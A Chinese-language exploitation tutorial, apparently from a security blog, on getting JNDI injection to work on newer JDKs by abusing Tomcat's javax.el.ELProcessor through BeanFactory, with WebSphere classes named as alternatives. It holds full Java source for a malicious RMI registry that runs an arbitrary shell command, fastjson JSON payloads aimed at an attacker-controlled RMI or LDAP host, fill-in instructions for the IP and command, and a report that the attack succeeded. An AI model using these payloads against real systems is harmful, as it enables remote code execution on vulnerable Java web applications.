前言
一般情況下,我們在進(jìn)行JNDI注入時會參考JDK的版本限制,具體的修復(fù)可以參考下圖

但如果JDK大于圖中版本時,就不能進(jìn)行JNDI注入了嗎?答案不是的
觸發(fā)情況
- 1.JDK >上圖版本
- 2.Web Application use Tomcat || IBM WebSphere && can use LDAP | RMI
Payload
1.惡意RMI服務(wù)器
使用如下代碼搭建惡意的RMI服務(wù)器
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
String vpsip = "your vpsip" ;
System.out.println("Creating evil RMI registry on port 1097");
System.setProperty("java.rmi.server.hostname",vpsip);
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("ExportObject", referenceWrapper);
}
}
你只需要修改vpsip為你的ip,且修改command為你要執(zhí)行的命令即可
隨后在webapp調(diào)用rmi服務(wù)即可,例如fastjson(利用tomcat的本地類)
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsip:1097/ExportObject",
"autoCommit":true
}
}


2.惡意LDAP服務(wù)器
本來準(zhǔn)備自己寫一個的,在逛github時偶然發(fā)現(xiàn)了一個輪子

使用它可以搭建基于LDAP惡意服務(wù)器合集

我們還是以fastjson為攻擊目標(biāo)舉例,這回我們把JDK換成JDK8U211

我們構(gòu)造好payload進(jìn)行攻擊(利用tomcat的本地類)
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vpsip:1389/o=tomcat",
"autoCommit":true
}
}
可見已經(jīng)彈出Firefox,攻擊成功


關(guān)于tomcat
由于tomcat7并不含有javax.el.E??LProcessor類,而tomcat8含有

由此得知tomcat7無法觸發(fā).
已知可利用的本地類
Tomcat ----> javax.el.ELProcessor
IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory || com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
利用上面的已知類你可以自定義想要的RMI惡意服務(wù)器
Reference
Exploiting JNDI Injections in Java:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
rogue-jndi:
https://github.com/veracode-research/rogue-jndi